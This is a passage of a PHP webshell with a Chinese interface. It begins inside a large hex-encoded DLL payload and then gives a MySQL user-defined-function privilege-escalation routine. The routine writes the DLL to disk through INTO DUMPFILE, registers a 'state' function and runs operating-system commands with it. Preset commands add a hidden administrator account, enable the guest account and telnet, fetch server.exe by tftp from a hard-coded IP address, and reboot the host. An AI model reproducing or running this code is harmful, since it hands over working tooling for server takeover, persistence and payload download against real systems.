5FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB403A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +} + +function Mysql_m() +{ + $MSG_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; + $info = '命令回显'; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Spider_Temp_Tab (spider BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Spider_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '安装DLL成功' : '安装DLL失败'; + } + else $MSG_BOX = '导出DLL文件失败'; + } + else $MSG_BOX = '写入临时表失败'; + @mysql_query('DROP TABLE Spider_Temp_Tab;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = '执行成功'; + } + else $MSG_BOX = '执行失败'; + } + } + else $MSG_BOX = '连接MYSQL失败'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                            +
                            {$MSG_BOX}
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +可加载路径 +
                            +
                            安装成功后可用
                            + + + +
                            +
